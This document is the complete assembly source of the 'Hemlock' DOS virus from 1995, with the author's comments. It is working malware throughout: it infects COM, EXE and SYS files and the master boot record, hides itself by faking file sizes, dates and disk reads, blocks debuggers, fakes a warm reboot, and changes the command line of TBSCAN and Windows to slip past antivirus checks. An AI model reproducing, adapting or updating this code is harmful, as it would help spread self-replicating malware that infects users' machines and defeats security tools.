;
; Hemlock Virus Source by qark
; +--------------------------+
;
; Origin: Australia, February 1995
; Targets: COM/EXE/SYS/MBR/BS
; Polymorphic: Yes
; Encrypted: Yes
; Stealth: Full stealth as it redirects reads to infected bootsectors
; and will return a clean copy if an infected file is read.
; Armoured: Attempting to trace int 21h or int 13h by a debugger/tunneler
; will be disabled or cause a system hang.
; Tunneling: No, but checks for fixed ROM BIOS entry points by examining
; code in segment F000. If found will set the vectors to these
; instead of the original vectors.
; Damage: None
; Assembler: A86 v3.71
; Other stuff: Disables stealth when the following programs are run PKZIP,
; LHA, ARJ, CHKDSK, NDD and SCANDISK. When WIN or TBSCAN are
; executed, command line options are added to avoid detection.
; When CTRL-ALT-DEL (warm boot) is pressed, the virus will
; copy the original interrupt table back and call int 19h
; which will effectively mimic a warm boot. If the computer
; is in protected mode it will call a normal reboot instead.
; If DOSDATA.SYS (a QEMM driver) is detected a different
; routine will be used for grabbing int21h when loading from
; boot. Because SYS infection is unstable the virus does not
; go resident, but instead checks to see if the MBR is infected
; and if clean, infects it. The polymorphism is simple in that
; it basically swaps around lines of the decryption, but no
; simple signature will detect it.
;
; This is probably the best virus to ever come from Australia.
;
; Hemlock is the poison that killed Socrates and the way I figure it,
; what's good for one greek philosopher is good enough for another.
;
org 0
db 9 dup (90h) ;This is setup for the polymorphism.
enc_loop:
db 15 dup (90h) ;18
mov si,offset enc_end + 100h
enc_start:
sub si,offset enc_end
cld ;Forward movement.
mov ax,0efbeh
mov bl,9
int 13h ;Check if we are already home...
cmp ax,0BEEFh
je resident
;AX=01BE because of the error code passed into AH
;This will kill f-prot.
add word ptr cs:[si+offset jmp_off],ax
db 0ebh,0 ;Clear prefetch
db 0e9h ;JMP xxxx
jmp_off dw 6 - 01beh ;01BE=The return size from the int13 call.
bogus_end:
mov ax,4c00h
int 21h
db 20h
real_continue:
sub word ptr cs:[si+offset jmp_off],ax
call check_mbr ;Is the MBR infected with our virus ?
je mbr_done
call setrom15_13
call infect_mbr
call reset15_13
mbr_done:
push ds ;Save PSP
mov ax,es
dec ax ;MCB segment.
xor di,di ;Zero DI
mov ds,ax
;Using [DI] is smaller than [0], saves a byte or two.
;Thanx to Memory Lapse for that optimisation.
cmp byte ptr [di],'Z' ;DI=0 Check MCB type.
jne pop_resident
sub word ptr [di+3],(offset mem_size /16) +1
sub word ptr [di+12h],(offset mem_size /16) +1
mov ax,word ptr [di+12h] ;Our segment into AX.
mov es,ax
push cs
pop ds ;DS=CS
mov cx,offset end_virus ;Our virus length.
rep movsb ;Move our virus in memory.
sub si,di ;SI points to our virus start again.
push si
mov ds,cx ;DS=CX=0
mov si,21h*4 ;Set int 21
mov di,offset i21
movsw
movsw
mov word ptr [si-4],offset int21handler
mov word ptr [si-2],es
mov si,13h*4 ;Set int 13
mov di,offset i13
movsw
movsw
mov word ptr [si-4],offset int13handler
mov word ptr [si-2],es
mov byte ptr es:flag21,1
pop si
pop_resident:
pop ds ;Restore PSP
resident:
push ds
pop es
cmp byte ptr cs:[si+offset filetype],'E'
je exe_return
;COM file return.
mov di,100h ;Offset of COM start.
push di ;Where we return to.
add si,offset header
mov cx,18h
rep movsb ;Move the original header back.
ret ;IP -> 100h
exe_return:
mov ax,ds ;DS=PSP
add ax,10h ;10H = size of PSP
add word ptr cs:[si+jump+2],ax ;Fix the return JMP FAR
cli
mov sp,word ptr cs:[si+offset header + 10h]
add ax,word ptr cs:[si+offset header + 0eh]
mov ss,ax ;SS:SP now fixed
sti
xor ax,ax
xor bx,bx
xor si,si
db 0ebh,0 ;JMP $+2 Just clear the prefetch.
db 0eah ;Return to original EXE.
jump dd 0
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;Infected device drivers call this when they execute.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
SysEntry:
push bp ;<--This turns into our RET later on.
push bp ;Save BP.
mov bp,sp ;Get the SP to change the stack.
push si ;Save our other stuff.
push ax
db 0beh ;MOV SI,xxxx
delta_sys dw 0 ;Our delta offset.
mov ax,cs:[si+offset sysreturn] ;The address of the orig
;handler.
mov word ptr [bp+2],ax ;'RET' to the original routine.
mov word ptr cs:[6],ax ;Restore the original pointer
;so that we aren't called again.
;Do the stuff you want to here.... push and pop tho
push bx
mov ax,0efbeh ;Residency test
xor bx,bx
int 13h
pop bx
cmp ax,0beefh ;If resident then exit.
je sys_res
call check_mbr
je sys_res
call setrom15_13
call infect_mbr
call reset15_13
Sys_Res:
pop ax
pop si
pop bp
ret ;It will return to the handler that was supposed to
;be called instead of this one.
SysReturn dw 0 ;The original strategy routine.
;End of the stub part of the virus...
;<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;Beginning of the resident routines...
Int21Handler Proc Near
;;;;;;
;Instead of the good old CMP AH,XX to check for the DOS function, I think
;that I'll bung in a cooleo little jump table... always good to try new
;tricks...
;;;;;;
call anti_tunnel ;Stop all other tunneling.
push si
push ax
mov si,offset function_table ;SI=My little jump table.
cld
Index_function:
cmp si,offset end_table ;End of table...
je not_viral
db 2eh ;CS:
lodsb
cmp ah,al ;Do the functions match ?
je do_jump
inc si ;I would use lodsw but that
inc si ;would destroy AH.
jmp index_function
do_jump:
db 2eh ;CS:
lodsw
jmp ax
not_viral:
jmp pop_end
;Below is the virus entry jump table.
function_table db 11h ;Dir ffirst
dw offset dir_stealth
db 12h ;Dir ffnext
dw offset dir_stealth
db 3dh ;Open
dw offset file_open
db 3fh ;File read
dw offset file_read
db 43h ;Attribute change
dw offset file_infect
db 4bh ;Execute
dw offset file_infect
db 4eh ;Handle ffirst
dw offset find_stealth
db 4fh ;Handle fnext
dw offset find_stealth
db 56h ;Rename
dw offset file_infect
db 57h ;Date and time
dw offset file_time
db 6ch ;Open
dw offset file_open
end_table:
;.................
File_Read: ;3F arrives here.
pop ax
pop si
cmp byte ptr cs:stealth,0
je no_read_stealth
call check_handle
jnc good_handle
no_read_stealth:
jmp jend ;Outta here...
good_handle:
push es
push di
call get_sft
jc toobig
call check_years
jae stealth_read
toobig:
pop di ;Uninfected, so dont stealth.
pop es
jmp jend ;The push/pops are equal everywhere..
file_pointer dw 0
stealth_read:
;We've already reduced the file size within the SFT, (in file_open)
;so if they lseek to the end to try and find the virus they won't
;reach it, so all we have to do is make sure if they are reading
;near the header that we stealth it. Not too hard is it ? :)
;The header is only the first 18h bytes so we only mess with that.
cmp word ptr es:[di+17h],0
jne toobig
cmp word ptr es:[di+15h],18h
jae toobig
push word ptr es:[di+15h] ;Save the current file pointer
pop word ptr cs:file_pointer
pop di
pop es
call Int21norm ;Do their read.
jnc ok_read
jmp bad_read
ok_read:
push ax
push bx
push cx
push dx
push si
push di
push es
pushf
mov ax,word ptr cs:file_pointer
;We want to overwrite whats at the current file pointer with
;what is supposed to be there. To do this we must work out
;whether it has read past the header, or just inside the header.
call get_sft
jnc good_read_sft
jmp bad_read_sft
good_read_sft:
add ax,cx
jc large_read ;Reading near FFFF bytes
cmp ax,18h
jbe calc_read ;Read past the header
large_read:
sub ax,cx
mov cx,18h
sub cx,ax
jmp short long_read
calc_read:
sub ax,cx
long_read: ;AX=File pointer, CX=bytes to read.
;Save the current file pointer.
push word ptr es:[di+17h]
push word ptr es:[di+15h]
;Save the current file length
push word ptr es:[di+13h]
push word ptr es:[di+11h]
;Extend the file length to include the virus
add word ptr es:[di+11h],offset end_virus
adc word ptr es:[di+13h],0
push word ptr es:[di+11h] ;File size --> File pointer
pop word ptr es:[di+15h]
push word ptr es:[di+13h]
pop word ptr es:[di+17h]
sub word ptr es:[di+15h],18h ;Headersize back
sbb word ptr es:[di+17h],0
add word ptr es:[di+15h],ax ;Add on their file pointer
adc word ptr es:[di+17h],0
mov al,3fh
call int21h ;Will read into their buffer the orig shit
pop word ptr es:[di+11h] ;Restore file length
pop word ptr es:[di+13h]
pop word ptr es:[di+15h] ;Restore file pointer
pop word ptr es:[di+17h]
bad_read_sft:
popf
pop es
pop di
pop si
pop dx
pop cx
pop bx
pop ax
bad_read:
read_exit:
retf 2
;.................
File_Open: ;3D and 6C arrive here.
pop ax
pop si
call infect ;Infect the file.
call Int21norm ;Do their open
jc exit_open
pushf
xchg bx,ax
call check_handle
xchg bx,ax
jc good_exit_open
push es
push di
xchg bx,ax ;File handle into BX
call get_sft
xchg bx,ax
jc pop_open_exit
call check_years
jb pop_open_exit ;Is it infected ? Nope, outta here..
cmp byte ptr cs:stealth,0
je pop_open_exit
;Remove our virus size from the SFT. This means that if they try to lseek
;to the end of the infected program they will see no size difference, and
;they will only be able to reach the end of the normal file.
;We no longer have to worry about them reading in the virus body from the end
;of the file, we only have to protect the header at the start.
sub word ptr es:[di+11h],offset end_virus
sbb word ptr es:[di+13h],0
pop_open_exit:
pop di
pop es
good_exit_open:
popf
exit_open:
retf 2
;.................
File_Infect: ;43, 4B and 56 arrive here.
pop ax
pop si
cmp ax,4b00h ;File execute ?
jne non_execute
mov byte ptr cs:stealth,1 ;Turn stealth on.
call check_names ;This may turn stealth off.
call infect
call int21norm ;Do the interrupt
mov byte ptr cs:stealth,1 ;Turn stealth on.
retf 2 ;Exit interrupt.
non_execute:
call infect ;Infect it.
far_time_exit:
jmp jend
;.................
File_Time: ;57 arrives here.
;Hide the 100 years marker.
pop ax
pop si
cmp byte ptr cs:stealth,0
je far_time_exit
cmp al,01
je far_time_exit
call Int21norm ;Call it
pushf
jc time_ok
cmp dh,200
jb time_ok
sub dh,200 ;Take away the 100 years.
time_ok:
popf
retf 2
;.................
Dir_Stealth: ;11 and 12 arrive here.
;No change in size during a DIR listing.
pop ax
pop si
cmp byte ptr cs:stealth,0
je far_time_exit
call Int21norm ;Call the interrupt
cmp al,0 ;straight off.
jne end_of_dir
push es
push ax ;Save em.
push bx
mov al,2fh ;Get DTA address.
call int21h
cmp byte ptr es:[bx],0ffh ;Extended FCB ?
jne not_extended
add bx,7 ;Add the extra's.
not_extended:
mov al,byte ptr es:[bx+1ah] ;Move high date
cmp al,200
jb dir_pop ;Not ours to play with.
sub al,200 ;Restore to original date.
mov byte ptr es:[bx+1ah],al
;Subtract the file length.
sub word ptr es:[bx+1dh],offset end_virus
sbb word ptr es:[bx+1fh],0
dir_pop:
pop bx
pop ax
pop es
end_of_dir:
iret
stealth_exit:
jmp jend ;Exit.
;.................
Find_Stealth: ;4E and 4F arrive here.
pop ax
pop si
cmp byte ptr cs:stealth,0
je stealth_exit
call Int21norm ;Do the original find call.
jc end_search
pushf
push es
push bx
push si
mov al,2fh ;Get DTA address
call int21h
mov al,byte ptr es:[bx+19h]
cmp al,200 ;Get the file year from the DTA
jb search_pop
sub al,200 ;Set it back to the normal year.
mov byte ptr es:[bx+19h],al ;Now they won't spot us!
;Subtract the file length.
sub word ptr es:[bx+1ah],offset end_virus
sbb word ptr es:[bx+1ch],0
search_pop:
pop si
pop bx
pop es
popf
end_search:
retf 2 ;IRET without POPF
;.................
Far_End: ;Gotta use a lame one of these
;because of the 128 byte jump :(
jmp no_extension
;Infect EXE/COM/SYS
Infect:
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
push bp
xor bp,bp ;Zero BP for anti-heuristics
cmp ah,6ch
jne no_si_fixup
mov dx,si ;Function 6C stores the name at
;DS:SI instead of DS:DX.
no_si_fixup:
cld
push ds
pop es
mov al,'.'
mov di,dx
mov cx,128
repne scasb ;Search for extension.
jne far_end
mov byte ptr cs:filetype,0 ;Reset the filetype flag
mov si,di
lodsw
or ax,2020h ;Convert to lowercase.
cmp ax,'oc' ;COM
jne chk_exe
lodsb
or al,20h
cmp al,'m'
jne far_end
jmp good_name
chk_exe: ;EXE
cmp ax,'xe'
jne chk_sys
lodsb
or al,20h
cmp al,'e'
jne far_end
jmp good_name
chk_sys: ;SYS
cmp ax,'ys'
jne far_end
lodsb
or al,20h
cmp al,'s'
jne far_end
mov byte ptr cs:filetype,'S'
good_name:
lea ax,[bp+3dh] ;Same as mov ax,3d but anti-heuristic
call int21h
jc far_end
xchg bx,ax ;This is smaller than XCHG AX,BX
;BX=File handle.
call set_int24
call get_sft
jc sys_close_exit
call check_years ;Is it already infected ?
ja sys_close_exit
mov word ptr es:[di+2],2 ;Change file to read/write.
push cs
pop es ;ES=CS
lea ax,[bp+3fh] ;Same as MOV AX,3F
push cs
pop ds ;DS=CS
mov cx,1ch ;Read in the full EXE header.
mov dx,offset header
call int21h
mov si,offset header
lodsw ;AX=First two bytes of header.
;I DO NOT want to infect SYS files that have an EXE header because
;that means I will infect shit like QEMM and DOSDATA, which will fuck
;everything up...
cmp byte ptr cs:filetype,'S'
je sys_infect
add al,ah
cmp al,167 ;Test for ZM/MZ
jne com_infect
jmp exe_infect
;++++++++++++++++++++++
SYS_Infect:
;Check first dword for -1 (-1 = 0ffffffffh)
;SYS files mostly start with ffffffffh so its a good marker to check.
inc ax ;AX=0 if SYS file
jnz sys_close_exit
lodsw
inc ax
jnz sys_close_exit
lodsw ;Same as INC SI, INC SI but one byte
;SI=Offset of 6 into the header.
;DS:SI=The SYS files strategy routine.
lodsw ;Strategy routine offset into AX
mov word ptr sysreturn,ax
call lseek_end
cmp ax,60000
je sys_close_exit
cmp ax,1024
jb sys_close_exit
call get_date
;File length is in AX.
mov word ptr delta_sys,ax
push ax
mov al,40h ;Write virus at end.
mov cx,offset end_virus
xor dx,dx
call int21h
pop ax
jc sys_close_exit
add ax,offset sysentry
mov word ptr header+6,ax ;Point the strategy routine at our
;lseek to start.
call lseek_start
mov al,40h ;Write our cooler header back.
mov dx,offset header
mov cx,18h
call int21h
jc sys_close_exit
call set_marker ;Set the 100 year marker.
sys_close_exit:
jmp exe_close ;Outta here !
;+++++++++++++++++++++++
COM_Infect: ;This routine works with COM files.
mov byte ptr filetype,'C'
call lseek_end
or dx,dx ;Waaaay too big!
jnz com_close_exit
cmp ax,62300 ;Too big...
ja com_close_exit
cmp ax,1024 ;Teensy weensy
jb com_close_exit
call get_date
push ax ;Save file size in AX
add ax,100h ;COM's start at 100h
mov delta,ax ;Fixup the delta offset.
call setup_poly
mov al,40h ;Append virus.
mov dx,offset end_virus
mov cx,offset end_virus
call int21h
pop ax ;Restore file size.
jc com_close_exit ;Failed write...
sub ax,3 ;JMP takes 3 bytes.
mov word ptr virus_jump+1,ax ;Our jump buffer is ready !
call lseek_start
mov al,40h ;Write our jump.
mov dx,offset virus_jump
mov cx,3
call int21h
jc com_close_exit ;Failed write...
call set_marker ;Set the 100 years marker.
com_close_exit:
jmp exe_close
;+++++++++++++++++++++++
EXE_Infect:
mov byte ptr filetype,'E'
dec si
dec si ;SI = Offset header
cmp word ptr [si+1ah],0 ;Overlays are evil!
jne com_close_exit
cmp word ptr [si+18h],40h ;So is windows shit!
jae com_close_exit
call get_date
push [si+2] ;Save pages
push [si+4] ;Save last page size
push [si+0ch] ;Save maximum memory
push [si+0eh] ;Save SS
push [si+10h] ;Save SP
push [si+14h] ;Save IP
push [si+16h] ;Save CS
mov ax,word ptr [si+0ch] ;Get Maxmem
inc ax ;If FFFF then don't change.
jz set_to_max
;We are doing this because when TBSCAN is run it checks it's segment
;size in memory. If it is infected it will detect the virus because
;the memory allocated to it is more than it asked for. So downsize
;maxmem by the virus paras and wow! passed sanity check! Did you
;know that TBSCAN doesn't use it's 'OWN' file system to check
;itself ? Nope, it uses DOS so you can stealth is easy enough.
;Note: I did not invent this idea! A person who wishes to remain
;anonymous told it to me.
sub word ptr [si+0ch],offset end_virus / 16 +1
set_to_max:
push si
add si,14h
mov di,offset jump
movsw
movsw ;CS:IP into JUMP
pop si
call lseek_end
;DX:AX=File length
push dx ;Save file length.
push ax
mov cx,16 ;Divide filesize by 16.
div cx ;Remainder = IP
;Answer = CS
sub ax,word ptr [si+8] ;Subtract headersize.
mov word ptr delta,dx
mov word ptr [si+14h],dx ;IP into header
mov word ptr [si+16h],ax ;CS into header
add dx,offset end_virus + 1000 ;SP past end of file.
mov word ptr [si+0eh],ax ;SS=CS
mov word ptr [si+10h],dx ;SP past end of our virus.
pop ax
pop dx ;File length into DX:AX
add ax,offset end_virus
adc dx,0
mov cx,512
div cx
or dx,dx
jz no_page_fix ;Page ends on 512 boundary.
inc ax ;Add the last page.
no_page_fix:
mov word ptr [si+4],ax
mov word ptr [si+2],dx
call lseek_start
mov dx,si ;DX=Offset header
mov cx,18h
mov al,40h ;Write header back.
call int21h
pop [si+16h] ;Restore all the header stuff
pop [si+14h] ;that I changed.
pop [si+10h]
pop [si+0eh]
pop [si+0ch]
pop [si+4]
pop [si+2]
jc exe_close
call lseek_end
call setup_poly
mov al,40h
mov dx,offset end_virus
mov cx,offset end_virus
call int21h
jc exe_close
call set_marker
exe_close:
mov al,3eh
call int21h
call reset_int24
no_extension:
pop bp
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
ret
;................. End of infection procedure...
pop_end:
pop ax
pop si
jend:
db 0eah
i21 dd 0
Int21Handler EndP
Int21h:
xchg ah,al ;<-- swap AH and AL for heuristics.
Int21norm:
pushf
push cs
call jend
ret
;<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
Bootsector:
;This is what we write to the MBR/BS
xor ax,ax
mov es,ax
mov si,7c00h
cli ;Ints off while changing
;stack.
mov ss,ax
mov sp,si
sti
mov ds,ax
;CS,DS,ES,SS,AX=0 SI,SP=7C00H
sub word ptr [413h],8 ;3.5k for virus + 3.5k buffer
;+1K for IVT
;40:13 = memory.
int 12h
mov cl,6
shl ax,cl
mov es,ax ;ES=Our virus segment.
xor ax,ax
int 13h ;Reset Disk
xor dh,dh ;Head 0
mov cx,4 ;From sector 4, track 0
or dl,dl
js hd_resident ;>= 80h
;Self modifying code because the floppy disk storage track/head
;changes all the time.
db 0b9h ;MOV CX,xxxx
floppy_sect dw 4
db 0b6h ;MOV DH,xxxx
floppy_head db 0
hd_resident:
xor bx,bx ;Read to start of segment
mov ax,207h ;Read 7 sectors
int 13h ;This ought to read the virus into
;our allocated buffer.
jc hd_resident
mov byte ptr es:flag21,0 ;Reset the int21 flag
mov byte ptr es:mz_counter,1 ;Reset exe counter
mov byte ptr es:qemm,0 ;Reset qemm flag
mov si,13h*4
cld
mov di,offset i13
movsw
movsw
mov word ptr [si-4],offset int13handler
mov word ptr [si-2],es
mov si,9*4 ;Set int9 to ours.
mov di,offset i9
movsw
movsw
mov word ptr [si-4],offset int9handler
mov word ptr [si-2],es
xor si,si ;Copy interrupt table.
mov di,offset IVT
mov cx,1024
rep movsb
mov si,449h
movsb
int 19h
Marker db 'Eu' ;Just a crap marker
BS_End:
;<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;;;
rend:
retf 2
;;;
multi:
jmp multipartite
;;;
stealth_bs:
mov cx,3
mov ax,102h
or dl,dl
js stealth_mbr ;DL>=80H then goto stealthmbr
mov cx,14
mov dh,1
stealth_mbr:
call int13h
jmp bs_pop_end
;;;
Int13Handler:
call anti_tunnel
xchg ah,al
cmp al,2
jne multi
cmp cx,1
jne multi
or dh,dh
jnz multi
call int13h
jc rend
pushf ;Save everything we mess with.
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
cmp word ptr es:[bx+offset marker - offset bootsector],'uE'
je stealth_bs
mov cx,3 ;Orig HD MBR at sector 3.
or dl,dl ;Harddisk ?
js write_orig ;80H or above ?
;Calculate shit like track/head for floppy******
push dx
push cs
pop ds
mov ax,es:[bx+18h] ;Sectors per track.
sub es:[bx+13h],ax ;Subtract a track.
mov ax,es:[bx+13h] ;AX=total sectors.
mov cx,es:[bx+18h] ;CX=sectors per track
xor dx,dx
div cx ;Total sectors/sectors per track
xor dx,dx
mov cx,word ptr es:[bx+1ah] ;CX=heads
div cx ;Total tracks/heads
push ax
xchg ah,al ;AX=Track
mov cl,6
shl al,cl ;Top 2 bits of track.
or al,1 ;We'll use the first sector onward.
mov word ptr floppy_sect,ax
pop ax
mov cx,word ptr es:[bx+1ah] ;CX=heads
xor dx,dx
div cx ;Track/Total Heads
mov byte ptr floppy_head,dl ;Remainder=Head number
mov cx,14 ;Floppy root directory.
pop dx
mov dh,1
write_orig:
mov ax,103h
call int13h
jc bs_pop_end
push es
pop ds
mov si,bx
push cs
pop es ;ES=CS
mov cx,510 ;Move original sector to our buffer.
cld
mov di,offset end_virus
rep movsb
mov ax,0aa55h ;End of sector marker.
stosw
mov si,offset bootsector ;Move our virus BS into the buffer.
push cs
pop ds ;DS=ES=CS
mov di,offset end_virus
mov cx,offset bs_end - offset bootsector
rep movsb
xor ax,ax ;Reset disk controller
call int13h
mov ax,103h
xor dh,dh
inc cx ;CX=0 from 'rep movsb' So CX=1
mov bx,offset end_virus
call int13h
mov cx,4
or dl,dl
js hd_virus_write
mov cx,word ptr floppy_sect
mov dh,byte ptr floppy_head
hd_virus_write:
xor bx,bx
mov ax,703h
call int13h
bs_pop_end:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
jmp rend
bs_exit:
cmp ax,0beefh
jne no_test
iret
no_test:
xchg ah,al
db 0eah
i13 dd 0
;....................................
Multipartite:
cmp byte ptr cs:flag21,1 ;Have we already set int21 ?
jne check21
jmp short bs_exit
check21:
push ax
push cx
push si
push di
push es
push ds
cmp byte ptr cs:qemm,1 ;Have we detected QEMM ?
je qemm_multip
;This code looks for DOSDATA and if found waits for the 10th EXE
;header instead of the first.
mov di,bx
mov al,'D'
cld
mov cx,512
scan_dosdata:
repne scasb
je found_d
jmp short chk_exe_header
found_d:
push cs
pop ds
mov si,offset dosdata
push di ;Save buffer pointer
push cx ;Save buffer counter
mov cx,6
repe cmpsb
pop cx
pop di
jne scan_dosdata
mov byte ptr qemm,1
mov byte ptr mz_counter,10
qemm_multip:
;Multipartite condition #1 - Grab Int21 on any write
cld
cmp al,3
je set_dos_vector
;Multipartite condition #2 - Grab Int21 on a residency test
or bx,bx ;SYS res tests shouldn't be used.
jz chk_autoexec
cmp ax,0beefh
je set_dos_vector
;Multipartite condition #3 - Grab Int21 on reading AUTOEXEC.BAT
chk_autoexec:
mov si,bx
push es
pop ds
lodsb
cmp al,'@'
jne chk_exe_header
lodsw
and ax,0dfdfh
cmp ax,'CE'
jne chk_exe_header
jmp short set_dos_vector
;Multipartite condition #4 - Grab Int21 on read of third EXE
chk_exe_header:
push es
pop ds
mov si,bx
lodsw
cmp ax,'MZ'
je found_mz
cmp ax,'ZM'
jne not_right
found_mz:
dec byte ptr cs:mz_counter
jz set_dos_vector
jmp short not_right
set_dos_vector:
push cs
pop es
xor ax,ax
mov ds,ax
mov si,21h*4
mov di,offset i21
movsw
movsw
mov word ptr [si-4],offset int21handler
mov word ptr [si-2],es
mov byte ptr cs:flag21,1
not_right:
pop ds
pop es
pop di
pop si
pop cx
pop ax
cmp ax,0beefh
jne not_res_test
iret ;Pass back the residency marker.
not_res_test:
jmp bs_exit
;....................................
Int13h Proc Near
; AH & AL are swapped on entry to this call.
pushf ;Setup our interrupt
push cs ;Our segment
call bs_exit ;This will also fix our AX
xchg ah,al ;Fix our AX :)
ret
Int13h EndP
;....................................
Int9Handler:
;Checks for CTRL-ALT-DEL and does a fake reboot if so.
push ax
push ds
push cx
in al,60h ;Read the key from the keyboard port
cmp al,53h ;Is the key DEL ?
jne normal_i9
xor ax,ax
mov ds,ax
mov al,[417h] ;Keyboard flag byte 0
and al,0ch ;Only leave CTRL and ALT
cmp al,0ch ;Are they both depressed ?
jne normal_i9
;Now test for an XT
mov al,2
mov cl,33
shr al,cl ;286+ ignore any bits above bit 5
test al,1 ;286+ will only SHR AL,1 while XT will
;clear AL.
jz reboot ;We have an 8088 (XT) so reboot.
smsw ax ;Machine Status Word into AX
test al,1 ;If bit 1 is on then it is protected mode
jnz normal_i9 ;Protected mode... no fake reboot.
reboot:
in al,61h ;Keyboard controller.
push ax
or al,80h ;Signal we got it.
out 61h,al
pop ax
out 61h,al
mov al,20h ;Signal EOI
out 20h,al
xor ax,ax
mov al,byte ptr cs:mode ;Reset original video mode.
int 10h
push ds
pop es ;ES=0
push cs
pop ds ;DS=CS
mov cx,1024
mov si,offset IVT
xor di,di
cld
cli
rep movsb ;Copy the IVT back.
sti
push cs
pop ds
mov byte ptr flag21,0 ;Reset the int21 flag
mov byte ptr mz_counter,1 ;Reset exe counter
mov byte ptr qemm,0 ;Reset qemm flag
xor dx,dx
int 19h
normal_i9:
pop cx
pop ds
pop ax
db 0eah
i9 dd 0
;....................................
Int15h Proc Near
db 0eah
i15 dd 0
Int15h EndP
;....................................
Int24h Proc Near ;No write protect errors.
mov al,3
iret
i24 dd 0
Int24h EndP
;....................................
;<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Subroutines and Shit
;<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;....................................
Get_Date:
;Saves the date/time of the file to TIME and DATE
;BX=File handle
push ax
push cx
push dx
mov ax,57h
call int21h
mov word ptr cs:time,cx
mov word ptr cs:date,dx
pop dx
pop cx
pop ax
ret
;....................................
Set_Marker:
;Sets the 100 years marker on the infected file.
;BX=File handle
db 0bah ;MOV DX,xxxx
date dw 0
db 0b9h
time dw 0 ;MOV CX,xxxx
add dh,200 ;100 SHL 1 = 200
mov ax,157h
call int21h
ret
;....................................
Check_Years:
;Assumes ES:DI = SFT
;On exit the flags will be set so that a JB means that the file isn't
;infected. JA means it is.
cmp byte ptr es:[di+010h],200
ret
;....................................
Get_SFT:
;Entry: BX=Filehandle
;Exit: ES:DI=SFT
push bx
push ax
mov ax,1220h
int 2fh
jc bad_sft
xor bx,bx
mov bl,byte ptr es:[di]
mov ax,1216h
int 2fh
bad_sft:
pop ax
pop bx
ret
;....................................
LSeek_End:
mov ax,0242h ;Call this to lseek to the end
jmp short lseek
LSeek_Start: ;Call this to lseek to the start
mov ax,42h
LSeek:
cwd
xor cx,cx
call int21h
ret
;....................................
Check_Names:
;On Entry DS:DX=filename to execute
;Exit: put ' co nm' into the command line if program is TBScan. The 'co'
;will cause TBScan to use DOS instead of it's low level disk routines
;and subsequently it will not find any change in files. The 'nm' means
;there will be no memory test. This is just for in the future when Thunder
;Byte get the virus signature they won't be able to detect residency of the
;virus.
;Turn stealth off if one of the program being executed is a bad one.
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
;Test for tbscan
mov si,dx
find_ext:
lodsb
cmp al,'.' ;The dot in the filename.
jne find_ext
std
lodsw ;SI-2
;SI=Last letter in name.
xor cx,cx
mov di,offset bad_names-1
push cs
pop es
name_loop:
mov cl,byte ptr cs:[di] ;CS:DI=Size of string
dec di ;Index to end of name.
push si ;Save SI
repe cmpsb ;Compare the names.
pop si ;Restore SI
je found_name ;We got one!
sub di,cx ;Next name
cmp di,offset bad_finish
jbe tail_fail
jmp short name_loop
found_name:
cmp di,offset bad_finish ;TBSCAN gets different treatment.
jbe tbscan_found
cmp di,offset bad_win
jbe win_found
mov byte ptr cs:stealth,0 ;Turn stealth off.
jmp short tail_fail
TBSCAN_Found:
;Change command line
cld
pop es ;ES was last thing pushed.
push es ;ES=Param Block segment.
mov di,word ptr es:[bx+2] ;Grab command tail from param block
mov si,di
mov ax,word ptr es:[bx+4]
mov es,ax
mov ds,ax ;DS:SI=ES:DI=Command tail
inc di ;Past tail count.
cmp byte ptr [si],0 ;No parameters!
je write_tail
mov cx,127 ;Length of tail.
mov al,0dh
repne scasb
jne tail_fail
dec di ;DI = 0D end of command line.
write_tail:
add byte ptr [si],6
push cs
pop ds
mov si,offset tail_fix
mov cx,7
rep movsb
jmp tail_fail
win_found:
cld
pop es ;ES was last thing pushed.
push es ;ES=Param Block segment.
mov di,word ptr es:[bx+2] ;Grab command tail from param block
mov si,di
mov ax,word ptr es:[bx+4]
mov es,ax
mov ds,ax ;DS:SI=ES:DI=Command tail
inc di ;Past tail count.
cmp byte ptr [si],0 ;No parameters!
je write_win_tail
mov cx,127 ;Length of tail.
mov al,0dh
repne scasb
jne tail_fail
dec di ;DI = 0D end of command line.
write_win_tail:
add byte ptr [si],5
push cs
pop ds
mov si,offset win_fix
mov cx,6
rep movsb
tail_fail:
cld ;Gotta keep the forward scan.
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
ret
;We are scanning backwards because it is smaller than searching
;for the \ in the filename.
Bad_finish db 'TBSCAN',6
Bad_win db 'WIN',3
db 'CHKDSK',6
db 'PKZIP',5
db 'ARJ',3
db 'NDD',3
db 'SCANDISK',8
db 'LHA',3
Bad_names: ;Scan from here...
tail_fix db ' co nm',0dh ;<- insert this
win_fix db ' /d:f',0dh ;make windows use 16bit disk
;access
;....................................
Check_Handle:
;BX=File handle
;Carry if bad handle.
push ax
push dx
mov ax,44h
call int21h ;Get device info.
jc bad_handle
shl dl,1 ;If bit 7=1 then not a file.
; SHLing it will set the carry
; flag based on bit 7
jmp short handle_exit
bad_handle:
stc
handle_exit:
pop dx
pop ax
ret
;....................................
Anti_Tunnel:
push ax ;Disable any tunnelers.
push bx
push si
push ds
xor ax,ax
mov ds,ax ;Vector table
lds si,[1*4] ;DS:SI=Int 1 Address
mov bl,byte ptr [si] ;Save first byte of it.
mov byte ptr [si],0cfh ;Move an IRET at the entry point.
pushf ;Flags on stack.
pop ax ;Flags into AX
and ah,0feh ;Remove trap flag.
push ax ;Flags back on stack
popf ;Set flags without any trap on.
mov byte ptr [si],bl ;Restore entry point.
pop ds
pop si
pop bx
pop ax
ret
;....................................
